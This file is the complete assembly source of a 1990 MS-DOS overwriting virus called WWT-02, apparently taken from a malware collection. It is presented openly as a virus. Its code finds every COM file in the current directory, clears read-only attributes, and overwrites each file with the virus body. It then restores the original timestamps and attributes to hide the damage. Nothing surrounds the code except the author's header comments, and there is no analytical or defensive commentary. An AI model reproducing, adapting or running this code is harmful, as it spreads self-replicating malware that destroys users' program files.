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MSDOS/Virus.MSDOS.Unknown.wwt-02.asm

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+; Virus name		WWT-02
+; Description		Attack any COM file in current directory
+; Comment		Don't change Date/Time, ignore ReadOnly
+; Date			19 Dec 1990    15:30
+; Place 		CICTT
+;
+		mov	dx,offset FileMask	; FileMask for any COM file
+		mov	ah,4eh			; Find first file
+		mov	cx,1			; including attrib Archive
+		int	21h			; Call DOS
+		jnc	Ok			; If no error -> go on
+		jmp	short Exit		; If error -> exit program
+
+Ok
+		call	Infect			; Do infection
+
+DoNext
+		mov	dx,80h			; Set DS:DX to DTA
+		mov	ah,4fh			; Find Next file
+		int	21h			; Call DOS
+		jnc	NextOk			; If no error -> go on
+		jmp	short Exit		; If error -> exit
+NextOk
+		jmp	short Ok		; Still next file exist
+
+Exit
+		int	20h			; Exit to DOS
+
+Infect
+		mov	dx,9eh			; Set DS:DX to filename in DTA
+		mov	ax,4300h		; Get file attribute
+		int	21h			; Call DOS
+		mov	Attrib,cx		; Save attribute for later
+		xor	cx,cx			; New attribute -> normal file
+		mov	ax,4301h		; Set attribute
+		int	21h			; Call DOS
+		mov	ax,3d02h		; Open file for Read/Write
+		int	21h			; Call DOS
+		jc	Exit			; If error -> exit
+		mov	bx,ax			; Save handle
+		mov	ax,5700h		; Get file Date/Time
+		int	21h			; Call DOS
+		mov	Date,dx 		; Save date
+		mov	Time,cx 		; Save time
+		mov	dx,100h 		; DS:DX point to itself
+		mov	ah,40h			; Write to handle
+		mov	cx,offset VirusSize-100h	; Write only virus
+		int	21h			; Call DOS
+		mov	ax,5701h		; Restore Date/Time
+		mov	cx,Time 		; Old time
+		mov	dx,Date 		; Old time
+		int	21h			; Call DOS
+		mov	ah,3eh			; Close file
+		int	21h			; Call DOS
+		mov	dx,9eh			; Set DS:DX to filename in DTA
+		mov	cx,Attrib		; Restore attribute
+		mov	ax,4301h		; Set file attribute
+		int	21h			; Call DOS
+		ret				; Return to caller
+
+
+FileMask
+		db	'*.COM',0               ; File mask for any COM file
+Date
+		dw	?
+Time
+		dw	?
+Attrib
+		dw	?
+VirusSize
+		db	?			; Used to calculate virus
+						; size
+